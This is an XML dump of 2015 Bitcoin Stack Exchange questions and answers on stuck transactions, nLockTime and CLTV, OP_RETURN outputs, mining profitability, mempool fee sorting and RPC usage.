  <row Id="38446" PostTypeId="1" CreationDate="2015-07-07T12:02:39.753" Score="0" ViewCount="692" Body="&lt;p&gt;I'm quite new to this. I have transferred coins to a wallet 4 hours ago and I'm still stuck with no confirmations. I do have a Bitcoin wallet on &lt;a href=&quot;https://blockchain.info&quot; rel=&quot;nofollow&quot;&gt;blockchain.info&lt;/a&gt;. I transferred from Bitcoin market website straight to another wallet if mine and now its stuck. How can I reverse it or get it moving again? I have tried looking for the trusted peer option and all that, but can't get my head around it. This is my block number on &lt;a href=&quot;https://blockchain.info&quot; rel=&quot;nofollow&quot;&gt;blockchain.info&lt;/a&gt;: a8abd5243ac486822577208f87e46f6864baeb1250c1434b3a1811a017ce6e2f&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appriciated.&lt;/p&gt;&#xA;" OwnerUserId="27255" LastEditorUserId="14253" LastEditDate="2015-07-11T14:56:45.913" LastActivityDate="2015-07-11T14:56:45.913" Title="bitcoin stuck with no confirmations" Tags="|blockchain.info|" AnswerCount="2" CommentCount="1" ClosedDate="2015-07-11T14:56:19.033" ContentLicense="CC BY-SA 3.0" />
  <row Id="38447" PostTypeId="2" ParentId="38444" CreationDate="2015-07-07T12:05:39.220" Score="3" Body="&lt;p&gt;&lt;code&gt;nLockTime&lt;/code&gt; affects transaction validity only, if you make a transaction with an &lt;code&gt;nLockTime&lt;/code&gt; in the future (by block height or unix time) it is invalid until that time has been passed. This means that if you sign a locked transaction, you can also just as easily sign a different transaction spending the same outputs that is spendable today. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;This is useful if you wanted to make a contingency transaction and give it to a third party which spends the output to a charity if you aren't around to make use of it in a years time. If you are around you can spend it in an alternate way, if you aren't a third party can broadcast the locked transaction to the network once it has become valid. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The limitation is in that you can't prove that funds are actually locked in this state, there's no way of knowing that the person won't just spend around an &lt;code&gt;nLockTime&lt;/code&gt; transaction in a different way and bypass the restriction on when they could spend the funds. Setups are possible where a user sends an output to a new key, makes a locked transaction to themselves at another address, then destroys the private key, but this is incredibly flimsy and has no real assurances that the key wasn't retained secretly. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;CHECKLOCKTIMEVERIFY&lt;/code&gt; is a new proposed opcode that allows you to use the current real time in a transaction script, allowing some more interesting and provable use cases that involve actually locking money rather than a particular transaction. This is closer behavior to how people normally think &lt;code&gt;nLockTime&lt;/code&gt; should operate when they first hear about it. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;With CLTV, scripts that have different preconditions for spending based on the time are possible. Rather than limiting to a single presigned &lt;code&gt;nLockTime&lt;/code&gt; transaction, a person could have every transaction in their wallet spendable by a specific charity key if 2 years pass without them being spent, or a 2-of-3 multisignature could have a contingency backdoor where an additional party can be included if the funds have not been used for an appreciable amount of time.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;CLTV also allows for payment channels to be used even with transaction malleability. A mutated transaction can break &lt;code&gt;nLockTime&lt;/code&gt; refund transactions at any point, which makes them quite risky at present. With CLTV the payment channel transactions can just timeout and be refunded to the creator without the need for any further interaction. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;BIP65 is potentially dangerous to end users as there are pretty much no take backs (if you lock your money for 5 years, there's no back doors or workarounds that will get your money back before then), but that said, that's a user interface problem rather than a fundamental security one. There's little contention about soft forking this change into the Bitcoin codebase in the future. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="2751" LastEditDate="2017-01-09T19:23:32.527" LastActivityDate="2017-01-09T19:23:32.527" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38448" PostTypeId="2" ParentId="38446" CreationDate="2015-07-07T13:28:13.120" Score="3" Body="&lt;p&gt;This transaction is unlikely to be confirmed for a long time. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;It has very low priority because it is spending an output which is unconfirmed. None of the parents of this transaction are confirmed either, going back 5 generations. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Each transaction in the chain pays a very low fee of around 0.00000259 BTC, which is below the recommended amount and below what other people are paying to get into a block. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-07-07T13:28:13.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38449" PostTypeId="1" AcceptedAnswerId="38450" CreationDate="2015-07-07T13:41:47.943" Score="3" ViewCount="425" Body="&lt;p&gt;I was reading this:&#xA;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/29554/explanation-of-what-an-op-return-transaction-looks-like&quot;&gt;Explanation of what an OP_RETURN transaction looks like&lt;/a&gt;&#xA;and I wondered if the second output &quot;value&quot; : 0.00200000, was at all necessary. Can I just have a OP_RETURN with a 0 output in the transaction?&lt;/p&gt;&#xA;" OwnerUserId="27256" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2015-10-27T15:18:05.180" Title="Does an OP_RETURN script always need another output within the transaction?" Tags="|transactions|bitcoind|protocol|script|op-return|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38450" PostTypeId="2" ParentId="38449" CreationDate="2015-07-07T14:59:50.823" Score="5" Body="&lt;p&gt;If you want to retain any change, yes you will need two outputs to return unspent Bitcoin to yourself. If you are spending for example a 0.0001 BTC output, 0.0001 to fees, then a single 0 BTC &lt;code&gt;OP_RETURN&lt;/code&gt; output would be valid. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-07-07T16:29:34.490" LastActivityDate="2015-07-07T16:29:34.490" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38453" PostTypeId="2" ParentId="11459" CreationDate="2015-07-07T16:23:00.210" Score="2" Body="&lt;p&gt;There are a number of open-source softwares for creating an address index. &lt;a href=&quot;https://toshi.io/&quot; rel=&quot;nofollow&quot;&gt;Coinbase's Toshi&lt;/a&gt; syncs the data to an indexed PostgreSQL database. &lt;a href=&quot;https://insight.bitpay.com/&quot; rel=&quot;nofollow&quot;&gt;BitPay's Insight&lt;/a&gt; writes an index to local storage using &lt;a href=&quot;https://github.com/Level/levelup&quot; rel=&quot;nofollow&quot;&gt;LevelUp&lt;/a&gt;. There's also a &lt;a href=&quot;https://github.com/btcdrak/bitcoin/releases&quot; rel=&quot;nofollow&quot;&gt;patch release&lt;/a&gt; of Bitcoin Core where it itself maintains an address index.&lt;/p&gt;&#xA;" OwnerUserId="7412" LastEditorUserId="7412" LastEditDate="2015-07-07T18:32:19.913" LastActivityDate="2015-07-07T18:32:19.913" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38454" PostTypeId="2" ParentId="37716" CreationDate="2015-07-07T17:54:22.667" Score="0" Body="&lt;p&gt;Take a look at Coinkite's API &lt;a href=&quot;https://coinkite.com/developers&quot; rel=&quot;nofollow&quot;&gt;https://coinkite.com/developers&lt;/a&gt; and also the payment buttons and payment processing options &lt;a href=&quot;https://coinkite.com/faq/pay&quot; rel=&quot;nofollow&quot;&gt;https://coinkite.com/faq/pay&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27265" LastActivityDate="2015-07-07T17:54:22.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38455" PostTypeId="2" ParentId="38314" CreationDate="2015-07-07T21:54:46.037" Score="2" Body="&lt;p&gt;Meanwhile I've answered this question at &lt;a href=&quot;https://www.reddit.com/r/Namecoin/comments/3cf16h/please_help_answering_this_open_question_on/&quot; rel=&quot;nofollow noreferrer&quot;&gt;reddit&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;You have already taken the first 2 out of 3 steps necessary for your wallet migration: (1) cleaned up the data directory that contained old incompatible files, (2) dumped and imported the private keys from the old wallet (alternatively, depending on how old the wallet is, one could try starting the new namecore client with the -upgradewallet parameter).&lt;/p&gt;&#xA;&lt;p&gt;The internal bookkeeping hasn't had a chance to detect the old transactions that belong to the newly imported private keys, yet. This is the missing third step: &lt;strong&gt;(3) Restart namecore (i.e. namecoind) with the -rescan parameter.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;In short: Now you need to restart the new client with the -rescan parameter.&lt;/p&gt;&#xA;&lt;p&gt;EDIT: Generally I recommend using namecore's new -upgradewallet parameter:&lt;br /&gt;&#xA;&lt;code&gt;namecoind -upgradewallet -rescan -reindex&lt;/code&gt;&lt;br /&gt;&#xA;as the dumpprivkey/importprivkey approach always bears the risk of confusing the relevant name_update transactions and addresses with older ones. If you do not know how to use the (deprecated) name_debug1 command in Namecoin-Qt then you most likely get it wrong.&lt;/p&gt;&#xA;" OwnerUserId="27267" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-07-15T09:52:36.447" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="38456" PostTypeId="1" AcceptedAnswerId="40595" CreationDate="2015-07-08T04:32:40.347" Score="4" ViewCount="44919" Body="&lt;p&gt;I am a beginner in the blossoming culture of crypto-currency, and unfortunately, it's beginning to feel as if 2015 is too late of a year for a laptop-user such as I to be able to start mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running an Intel HD Graphics 4000 GPU, and an Intel Core i5-3230M CPU at 2.6 GHz. No, I do not have an ASIC, but I figured I'd at least be able to scratch out a few cents per month with what I have, not taking into account electricity or what not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Immediately upon beginning to mine Bitcoin (BTC) using Slush's pool, which when I tried to mine was actually the newly updated stratum server 'bitcoin.cz'. I only got a hash rate of about 2-12 Mh/s, and the pool did not even recognize that the worker I had registered was mining. I have heard of people with relatively similar specs getting a rate of even 100 Mh/s, but I figured that this was just an issue of Bitcoin's colossal difficulty at this point of its lifetime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I then looked into Litecoin (LTC). This time, my GPU was not even recognized by any mining software that I would try. I looked into updating the drivers and SDK's, and still I had no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, I decided that perhaps I could get away with mining some unique Altcoins, and due to the over 300,000% increase in profitability over Bitcoin at the time of writing, I chose to try to mine Diamond (DMD) and then try to exchange my profits for a fraction of a bitcoin. At this point I was not even mining for profit, but for the satisfaction that something was working. I configured my miner, and of course, my hash rate displayed at about 2 Kh/s on my GPU. Again, the mining pool (Danbi's pool) I had chosen to use did not even register that I was mining, and even after hours I made absolutely no profit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, after giving you all of this information, I ask of you this: Is it too late to mine any crypto-currency without spending huge amounts of money in mid-2015? At this point I do not even need to make profit, I'd just like to see that I have a fraction of a coin in a wallet somewhere (I did set up wallets for each and every coin I tried, mind you). Does anyone have suggestions as to what I'm doing wrong? I understand that what I'm doing is not profitable, but is it to the point that whenever I mine I really can only make 0.0000000 BTC/month (I'm not joking, that's the stat I keep getting)? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would pay you for your help in Bitcoin, Litecoin, or some other currency...but due to the suddenly centralized nature of mining, I can't. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sincerely,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A very discouraged Bitcoin enthusiast.&lt;/p&gt;&#xA;" OwnerUserId="27268" LastEditorUserId="5406" LastEditDate="2016-01-20T20:07:45.880" LastActivityDate="2016-05-07T22:14:34.043" Title="I've tried everything from mining bitcoin to litecoin to other altcoins....why do I have no luck?" Tags="|altcoin|hashpower|mining-profitability|" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38458" PostTypeId="2" ParentId="18026" CreationDate="2015-07-08T05:03:12.030" Score="1" Body="&lt;p&gt;I think that you configured the batch file incorrectly. It seems as if your batch file is beginning with a call to cgminer when either &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A) You don't even have cgminer installed, you didn't mention installing it whatsoever. Download cgminer, and relocate the batch file in the application directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;B) Your batch file calls cgminer, and it can't find it. Either move the batch file to the cgminer application directory for cgminer, or go in and edit the batch file to call either 'cpuminer' or 'cudaminer' (this should be the first word in the file) depending on which .exe you want to run.&lt;/p&gt;&#xA;" OwnerUserId="27268" LastActivityDate="2015-07-08T05:03:12.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38459" PostTypeId="2" ParentId="36514" CreationDate="2015-07-08T05:34:47.193" Score="2" Body="&lt;p&gt;I'm a newer enthusiast to the world of Bitcoin and Bitcoin mining, but I can try to help answer your questions as best as possible (or more just take a shot in the dark for fun):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;My guess is that the cause of this slight loss of momentum in the mining difficulty is because, yes, new miners are becoming discouraged and not joining. In 2015, mining is straight-out not profitable unless you unload a few hundred/few thousand dollars into the best hardware. A hash rate of 100 Mh/s off of a common laptop used to be phenomenal and lucrative. Now, thanks to the influx of people building mining rigs that reach up to terahashes per second, new miners, and even current miners with smaller hash rates are beginning to lose interest in a realm of computational giants. The centralization of mining of the decentralized currency is beginning to discourage people.&lt;/li&gt;&#xA;&lt;li&gt;As I said, people are getting discouraged that only investing tons of money can put you on the map, and therefore less and less people are starting to throw themselves in.&lt;/li&gt;&#xA;&lt;li&gt;This is probably completely inaccurate,  but since I'm a beginner, I'll go ahead and try and see if this is anywhere near correct: The value of the bitcoin will not fluctuate as much due to mining trends as it will with usage and popularity. Sure, increase in difficulty does technically mean that the coin is becoming more and more secure encryption-wise, but the coin only has as much value as people believe it does, which is why as it becomes more and more popular and more and more applicable, its value is not only going to stabilize but perhaps increase. (I'm not an economist, I'm a hobbyist, I apologize if that's completely wrong)&lt;/li&gt;&#xA;&lt;li&gt;I don't think so. Again, yes, difficulty does indirectly equal how secure the currency is, however I would like to think that there are other far more significant factors that economically impact the Bitcoin in greater ways than mining difficulty, seeing as the network is already as big as it is today and is not going to lose huge amounts of difficulty (and if it does to a certain extent, profitability in mining will spike and miners will return to mining).&lt;/li&gt;&#xA;&lt;li&gt;As Bitcoin matures, lots of the mining aspect of it is becoming abstract to the public, which is really the concept this answer is revolving around. As time goes on and mining becomes exclusive to people who have the best hardware (slowly centralizing the currency, and hence, defeating one of Bitcoin's original purposes), the general public will not even discover the wonders of mining, know the current difficulty, or try to achieve a profitable hash rate--just as people do not know or attempt to replicate the technicalities of minting dollar bill. In 2015, yes, people are still considering difficulty when they choose to begin to use Bitcoin because it's a signal as to whether the Bitcoin community is thriving or in distress. I think that people see the stabilizing difficulty as a temporary stabilizing of the encryption behind the currency itself and not as much its practical application. However, in the future, if Bitcoin survives the next few years, difficulty may become obsolete to the next guy starting to use Bitcoin. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So that's my two cents on the topic...or should I say... at the time of writing, that's my 0.000076 BTC.&lt;/p&gt;&#xA;" OwnerUserId="27268" LastActivityDate="2015-07-08T05:34:47.193" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38460" PostTypeId="2" ParentId="38456" CreationDate="2015-07-08T06:08:19.680" Score="2" Body="&lt;p&gt;It is too late to mine any crypto-currency without spending huge amounts of money in mid-2015.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Due to reasons you mentioned in your question, proof-of-work based hashing power is centralized. But there are some alternatives&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;proof-of-stake: &lt;a href=&quot;http://nxt.org/&quot; rel=&quot;nofollow&quot;&gt;NTX&lt;/a&gt;, &lt;a href=&quot;https://blog.ethereum.org/2014/11/25/proof-stake-learned-love-weak-subjectivity/&quot; rel=&quot;nofollow&quot;&gt;Ethereum&lt;/a&gt; protos&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5464" LastEditorUserId="5464" LastEditDate="2015-07-08T06:50:16.360" LastActivityDate="2015-07-08T06:50:16.360" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38463" PostTypeId="2" ParentId="7724" CreationDate="2015-07-08T06:48:08.900" Score="3" Body="&lt;p&gt;A slight addition to the existing answers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If B has not downloaded enough of the block chain to see A's transaction, then the situation will be as described above.  When blocks are downloaded by a wallet client, the transactions therein are checked to see whether any of them send coins to addresses held in this wallet.  If so, those coins are added to the wallet's balance.  So B will see an extra 25 BTC appear in his wallet.  As mentioned in the other answers, he'll be able to spend them as if they were his own.  So it's a race between A and B to see who spends them first - either can do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If B has already downloaded the relevant transactions before generating the colliding address, the situation is a little different.  As far as I know, most Bitcoin clients, when generating a fresh random address, will not rescan the block chain to see whether it contains any transactions sending coins to that address.  (As described above, the probability of this happening is infinitesimally small, so for all practical purposes, such a scan would just be a waste of time and resources.)  So although B now has a private key which can spend A's bitcoins, he will not be aware of it, unless/until he manually forces a block chain rescan (e.g. with Bitcoin Core's &lt;code&gt;-rescan&lt;/code&gt; option), or checks his address balance using an online block explorer, or something of the kind.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, barring RNG faults, this question is sort of like asking &quot;If all 50 US state governors were simultaneously struck by lightning, how would the stock market be affected?&quot;  It's based on such an improbable assumption that it's kind of absurd to draw any conclusion.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2015-07-08T06:48:08.900" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38464" PostTypeId="2" ParentId="37834" CreationDate="2015-07-08T07:09:32.200" Score="1" Body="&lt;p&gt;It is probably not a serious risk, assuming your passphrase really does have as much entropy as you say, though it doesn't seem to offer many real benefits either.  If you want to be able to check if you remember the passphrase, why not just keep the hash somewhere that only you can access?  Making it public can only increase your risks (though probably not significantly).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main difference is this.  Suppose your passphrase has N bits of entropy, and someone is trying to brute-force it.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If they have access to the hash, then for each phrase they try, they only have to perform two SHA256 computations.  Such operations can be done relatively fast, e.g. by some variant of a mining ASIC.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If they don't have the hash, then for each phrase they try, they have to compute a seed from the phrase, generate a sufficiently large number of private keys from the seed, compute their corresponding public keys and addresses, and look them up in a blockchain index to see if any of those addresses contain coins.  This is going to be many orders of magnitude slower than just computing 2 x SHA256.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So publishing the hash significantly reduces the amount of work a brute-force attacker would have to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if your passphrase really does have N=128 bits of entropy, then the distinction is not really meaningful, since computing 2^N iterations of SHA256 is still effectively impossible.  But if there is some possibility that N could be much smaller (e.g. your RNG is buggy or compromised), then in principle, publishing the hash could be the difference between a brute-force attack being cost effective or not.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2015-07-08T07:09:32.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38466" PostTypeId="2" ParentId="38456" CreationDate="2015-07-08T08:21:15.570" Score="9" Body="&lt;p&gt;Laptop mining worked well in 2009. It is no longer 2009.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your integrated Intel GPU has the speed of a CPU, not a fast gaming GPU. Even in 2011 when CPU mining was dying and people mined on GPUs your GPU would be too slow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, &quot;even&quot; people with 100 MH/s can't mine anymore. That's because 1000x that speed (100 GH/s) is slow at this point. 1 TH/s (1 000 000 MH/s) is OK for a small mining-at-home operation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you go way beyond laptops with Intel graphics integrated in the CPU, to small USB sticks with ASICs, even those are useless now. Some people pay $5 or $10 for a 1 or 2 GH/s USB stick (much much faster than your laptop). Not only is this incredibly slow, but it will never break even because the price per GH/s is extremely high.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you need is a 1 TH/s ASIC machine, or faster, and electricity at a good price. You need to get this machine at a good price per GH/s or it will not break even. Make sure you take the price of a power supply into account as well if it is not included.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2015-07-08T08:21:15.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38468" PostTypeId="2" ParentId="36313" CreationDate="2015-07-08T09:36:58.143" Score="1" Body="&lt;p&gt;First create an account&#xA;&lt;a href=&quot;https://blockchain.info/api/api_create_code&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/api/api_create_code&lt;/a&gt;&#xA;you will receive api code in email.&#xA;with which u can create ur wallet &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/api/v2/create_wallet?password=wallet-password&amp;amp;email=email-for-wallet&amp;amp;api_code=this-will-be-in-your-email&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/api/v2/create_wallet?password=wallet-password&amp;amp;email=email-for-wallet&amp;amp;api_code=this-will-be-in-your-email&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27274" LastActivityDate="2015-07-08T09:36:58.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38469" PostTypeId="1" CreationDate="2015-07-08T13:54:01.330" Score="5" ViewCount="515" Body="&lt;p&gt;I'm trying to understand the algorithm Bitcoin Core uses to sort memory pool transactions by fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gavin's &lt;a href=&quot;https://gist.github.com/gavinandresen/2961409&quot; rel=&quot;nofollow&quot;&gt;fee rework proposal&lt;/a&gt; states:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Next, sort all remaining memory pool transactions by fee-paid-per-kilobyte, and include as many as will fit until the block is maximum block size bytes big, not including &quot;free&quot; transactions (transactions with fee-per-kb of less than the default spam threshold of 0.0001 BTC/kilobyte).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This makes sense, because a miner should want to load a block with transactions carrying the most &quot;fee density&quot;, or fee per byte.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, reviewing the &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.10.2/src/miner.cpp#L258&quot; rel=&quot;nofollow&quot;&gt;CreateNewBlock function in miner.cpp&lt;/a&gt;, it's not clear how Bitcoin Core accounts for transaction length when prioritizing memory pool items:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Prioritise by fee once past the priority size or we run out of high-priority&#xA;// transactions:&#xA;if (!fSortedByFee &amp;amp;&amp;amp;&#xA;    ((nBlockSize + nTxSize &amp;gt;= nBlockPrioritySize) || !AllowFree(dPriority)))&#xA;{&#xA;    fSortedByFee = true;&#xA;    comparer = TxPriorityCompare(fSortedByFee);&#xA;    std::make_heap(vecPriority.begin(), vecPriority.end(), comparer);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;TXPriorityCompare seems to just look at absolute fee:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public:&#xA;    TxPriorityCompare(bool _byFee) : byFee(_byFee) { }&#xA;&#xA;    bool operator()(const TxPriority&amp;amp; a, const TxPriority&amp;amp; b)&#xA;    {&#xA;        if (byFee)&#xA;        {&#xA;            if (a.get&amp;lt;1&amp;gt;() == b.get&amp;lt;1&amp;gt;())&#xA;                return a.get&amp;lt;0&amp;gt;() &amp;lt; b.get&amp;lt;0&amp;gt;();&#xA;            return a.get&amp;lt;1&amp;gt;() &amp;lt; b.get&amp;lt;1&amp;gt;();&#xA;        }&#xA;        else&#xA;        {&#xA;            if (a.get&amp;lt;0&amp;gt;() == b.get&amp;lt;0&amp;gt;())&#xA;                return a.get&amp;lt;1&amp;gt;() &amp;lt; b.get&amp;lt;1&amp;gt;();&#xA;            return a.get&amp;lt;0&amp;gt;() &amp;lt; b.get&amp;lt;0&amp;gt;();&#xA;        }&#xA;    }&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In other words, this looks like a sort on absolute transaction fee, not fee density. What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="10845" LastEditorUserId="47827" LastEditDate="2021-05-24T11:07:44.470" LastActivityDate="2021-05-24T11:07:44.470" Title="How does Bitcoin Core sort memory pool transactions by fee?" Tags="|bitcoin-core|transaction-fees|mempool|transaction-selection|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38470" PostTypeId="1" AcceptedAnswerId="38471" CreationDate="2015-07-08T14:28:01.457" Score="2" ViewCount="367" Body="&lt;p&gt;how can i get the hex output in bitcoin-rpc for blocks? i'm using &lt;a href=&quot;https://github.com/jgarzik/python-bitcoinrpc&quot; rel=&quot;nofollow&quot;&gt;python-bitcoinrpc&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in &lt;code&gt;bitcoin-cli&lt;/code&gt; i can go:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ bitcoin-cli getblock 00000000839a8e6886ab5951d76f411475428afc90947ee320161bbf18eb6048 false&#xA;010000006fe28c0ab6f1b372c1a6a246ae63f74f931e8365e15a089c68d6190000000000982051fd1e4ba744bbbe680e1fee14677ba1a3c3540bf7b1cdb606e857233e0e61bc6649ffff001d01e362990101000000010000000000000000000000000000000000000000000000000000000000000000ffffffff0704ffff001d0104ffffffff0100f2052a0100000043410496b538e853519c726a2c91e61ec11600ae1390813a627c66fb8be7947be63c52da7589379515d4e0a604f8141781e62294721166bf621e73a82cbf2342c858eeac00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but trying the same thing in bitcoinrpc gives a json output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;print rpc_connection.getblock(&quot;00000000839a8e6886ab5951d76f411475428afc90947ee320161bbf18eb6048 false&quot;)&#xA;{u'merkleroot': u'0e3e2357e806b6cdb1f70b54c3a3a17b6714ee1f0e68bebb44a74b1efd512098', u'nonce': 2573394689, u'previousblockhash': u'000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1b60a8ce26f', u'hash': u'00000000839a8e6886ab5951d76f411475428afc90947ee320161bbf18eb6048', u'version': 1, u'tx': [u'0e3e2357e806b6cdb1f70b54c3a3a17b6714ee1f0e68bebb44a74b1efd512098'], u'chainwork': u'0000000000000000000000000000000000000000000000000000000200020002', u'height': 1, u'difficulty': Decimal('1.00000000'), u'nextblockhash': u'000000006a625f06636b8bb6ac7b960a8d03705d1ace08b1a19da3fdcc99ddbd', u'confirmations': 364412, u'time': 1231469665, u'bits': u'1d00ffff', u'size': 215}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;getrawtransaction&lt;/code&gt; just works naturally this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ print rpc_connection.getrawtransaction(&quot;0e3e2357e806b6cdb1f70b54c3a3a17b6714ee1f0e68bebb44a74b1efd512098&quot;)&#xA;01000000010000000000000000000000000000000000000000000000000000000000000000ffffffff0704ffff001d0104ffffffff0100f2052a0100000043410496b538e853519c726a2c91e61ec11600ae1390813a627c66fb8be7947be63c52da7589379515d4e0a604f8141781e62294721166bf621e73a82cbf2342c858eeac00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;there seems to be some json on/off flag that is not well documented...&lt;/p&gt;&#xA;" OwnerUserId="2116" LastEditorUserId="2116" LastEditDate="2015-07-08T14:34:12.537" LastActivityDate="2015-07-08T15:02:53.100" Title="rpc get hex not json" Tags="|json-rpc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38471" PostTypeId="2" ParentId="38470" CreationDate="2015-07-08T14:43:38.930" Score="2" Body="&lt;p&gt;The second parameter of the RPC call is a boolean for decoding the results or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting this to False will return the hex encoded block. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;hash = &quot;00000000839a8e6886ab5951d76f411475428afc90947ee320161bbf18eb6048&quot;&#xA;print rpc_connection.getblock(hash, False)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-07-08T15:02:53.100" LastActivityDate="2015-07-08T15:02:53.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38473" PostTypeId="2" ParentId="38446" CreationDate="2015-07-08T18:06:52.643" Score="0" Body="&lt;p&gt;Just as a rule of thumb always pay a fees of 0.0001 or more and you will never have slow confirmations. The amount is just 3 cents and shouldn't be decreased . &lt;/p&gt;&#xA;" OwnerUserId="27283" LastActivityDate="2015-07-08T18:06:52.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
